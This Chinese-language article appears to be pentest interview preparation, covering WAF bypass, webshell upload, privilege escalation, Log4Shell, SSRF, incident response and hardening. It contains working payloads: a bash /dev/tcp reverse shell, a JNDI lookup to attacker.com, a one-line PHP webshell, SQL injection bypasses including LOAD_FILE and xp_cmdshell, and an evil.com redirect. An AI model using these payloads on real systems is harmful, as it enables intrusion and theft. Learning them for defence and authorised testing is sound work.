安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
七、深度分析CVE-2021-44228 (Log4Shell)
常见面试题
介绍一下自认为有趣的挖洞经历(或CTF经历) 你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案? 你平时使用哪些工具?以及对应工具的特点? 如果遇到waf的情况下如何进行SQL注入/上传Webshell怎么做? 谈谈Windows系统与Linux系统提权的思路? 列举出您所知道的所有开源组件高危漏洞 描述一个你深入研究过的 CVE 或 POC php/java反序列化漏洞的原理?解决方案? 如果一台服务器被入侵后,你会如何做应急响应? 介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些? 常见的中间件解析漏洞利用方式 Windows、Linux、数据库的加固降权思路 如何绕过CDN获取目标网站真实IP,谈谈你的思路 如果给你一个网站,你的渗透测试思路是什么? 你实际的渗透测试经历等等 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么? SSRF漏洞的成因 防御 绕过? 有哪些反向代理的工具,有没有实际的内网渗透经历?
一、有趣的挖洞经历
案例:某金融系统审计绕过+RCE
在一次授权测试中发现接口/api/v1/export
存在逻辑缺陷:
- 漏洞链:
- 身份验证处
Cookie: Role=guest
→ 篡改为Role=admin
绕过权限校验- 参数
filename=../../etc/passwd
触发路径遍历(未过滤../
)exportType
参数拼接命令行执行:sh export_script.sh #{user_input}
→ 构造;id>/web/static/test.txt
实现RCE- 利用过程:
通过写入计划任务获取反向Shell,最终控制业务服务器。- 核心问题:
- 权限校验依赖客户端传参
- 未对用户输入进行规范化处理
二、高频漏洞及修复方案
漏洞类型 原理简述 修复方案 SQL注入 用户输入拼接到SQL语句 预编译语句(PreparedStatement) SSRF 服务端发起未校验的请求 白名单限制请求地址+协议禁用 反序列化 恶意数据触发对象执行链 签名校验+安全反序列化库 文件上传 绕过类型/MIME检测 文件内容检测+随机重命名
三、渗透工具链及特点
工具 核心功能 场景示例 Burp Suite 流量拦截/重放/插件扩展 Intruder爆破OAuth2令牌 Sqlmap 自动化SQL注入检测 --tamper=charencode
绕WAFNmap 端口扫描+服务指纹识别 -sV -script=vuln
漏洞扫描CobaltStrike 内网横向移动 钓鱼攻击+权限维持
四、WAF绕过技术
SQL注入绕过:
sql
/*!50000SELECT*/ 1,2,3 FROM users WHERE id=1 UNION SELECT 1,@@version,3
- 技术组合:
- 注释混淆:
/*!xxxx*/
MySQL特性- 空白符替代:
%0a
/%09
替换空格- 分块传输编码(Chunked)
上传Webshell绕过:
- 双扩展名:
shell.php.jpg
- 内容混淆:
php
<script language="php">system($_GET['cmd']);</script>
- .htaccess覆盖:
AddType application/x-httpd-php .xyz
五、系统提权思路对比
Windows提权:
- 服务漏洞:
sc config binPath
劫持服务路径- DLL劫持:替换高权限程序加载的DLL
- Token窃取:使用Incognito模仿SYSTEM令牌
Linux提权:
- SUID滥用:
find / -perm -4000 2>/dev/null
- 内核漏洞:
dirtyc0w
写/etc/passwd- Cron任务:覆盖定时执行的脚本
六、开源组件高危漏洞精选
组件 CVE-ID 影响范围 利用方式 Log4j2 CVE-2021-44228 <2.15.0 ${jndi:ldap://} Fastjson CVE-2022-25845 <1.2.83 恶意JSON触发反序列化 Spring Cloud CVE-2022-22963 <3.1.3 SpEL表达式注入
七、深度分析CVE-2021-44228 (Log4Shell)
漏洞原理:
java
logger.error("${jndi:ldap://attacker.com/exp}"); // 触发JNDI解析
- 利用链:
Log4j解析日志 → 执行JNDI查询 → 加载远程恶意类 → RCE- 补丁方案:
- 2.15.0+默认禁用JNDI
- 设置参数
-Dlog4j2.formatMsgNoLookups=true
八、反序列化漏洞原理
PHP示例:
php
class Vuln { public $cmd = "id"; function __destruct() { system($this->cmd); // 对象销毁时执行命令 } } unserialize($_GET['data']); // 传入O:4:"Vuln":1:{s:3:"cmd";s:10:"whoami";}
修复方案:
- 使用
json_encode()
替代序列化- 反序列化前校验签名
九、服务器入侵应急响应
- 隔离网络:拔网线或防火墙阻断
- 取证流程:
- Linux:
dd if=/dev/sda1 of=/evidence.img
- Windows:使用FTK Imager镜像内存
- 日志分析:
bash
grep -R 'Accepted password' /var/log/auth.log # 定位登录IP last -i # 查看登录历史
- 后门排查:
- 检查crontab/启动项
- 对比
rpm -Va
(Linux)或sigcheck -a c:\windows\system32\*
(Windows)
十、SQL注入进阶利用
非数据类利用:
- 文件读取:
sql
UNION SELECT LOAD_FILE("/etc/passwd"),1,1
- 系统命令执行(需条件):
sql
; EXEC xp_cmdshell 'net user' -- (MSSQL)
防范方案:
- 输入过滤:禁用
'
、"
、\
等特殊字符- 最小权限:数据库账户仅授予SELECT权限
十一、中间件解析漏洞
中间件 漏洞形式 利用案例 IIS 6.0 /test.asp;.jpg
文件名分号截断 Apache test.php.xxx
从右向左解析后缀 Nginx %00.php
空字节截断CGI路径
十二、系统加固方案
Linux降权:
bash
chmod 700 /usr/bin/python3 # 限制解释器执行权限 setfacl -m u:www-data:r-x /etc/shadow # ACL精细化控制
Windows加固:
- 禁用高危服务:
net stop LanmanServer
- 启用LSA保护:
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1
十三、CDN真实IP发现
- 历史解析记录:
bash
curl https://viewdns.info/iphistory/?domain=target.com
- 证书探测:
bash
openssl s_client -connect target.com:443 | openssl x509 -text
- 特殊子域名:
mail.target.com
、direct.target.com
常直连
十四、渗透测试方法论
mermaid
graph LR A[信息收集] --> B[漏洞扫描] B --> C{是否存在高危漏洞?} C -- 是 --> D[漏洞利用] C -- 否 --> E[业务逻辑测试] D --> F[权限提升] E --> G[横向移动] F --> H[数据获取] G --> H
实际案例:
某次从微信公众号接口发现未授权访问 → 获取员工手机号 → 撞库进入VPN → 内网Redis未授权 → 写入SSH密钥控制核心服务器。
十五、反弹Shell选择
首选命令:
bash
bash -c 'exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1' # 纯bash实现
优势分析:
- 无依赖外部命令(nc/python可能被删除)
- 支持TCP/UDP全双工通信
十六、SSRF攻防全景
绕过技巧:
- 302跳转:
http://evil.com/redirect.php → 指向内网地址
- DNS重绑定:
python
# 配置TTL=0的A记录,交替返回内外网IP
防御方案:
- 协议白名单:仅允许
http/https
- 禁用重定向:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false)
十七、内网穿透工具
工具 协议 特点 frp TCP/HTTP 多级代理支持KCP加速 ngrok HTTP/TLS 自动生成域名+HTTPS reGeorg HTTP/S 基于Websocks的隧道 内网渗透实例:
通过Web漏洞获取DMZ区服务器 → 上传reGeorg代理脚本 → 使用Proxychains全局代理 → 扫描192.168.1.0/24网段 → 发现SMB共享漏洞(MS17-010) → 控制域控服务器。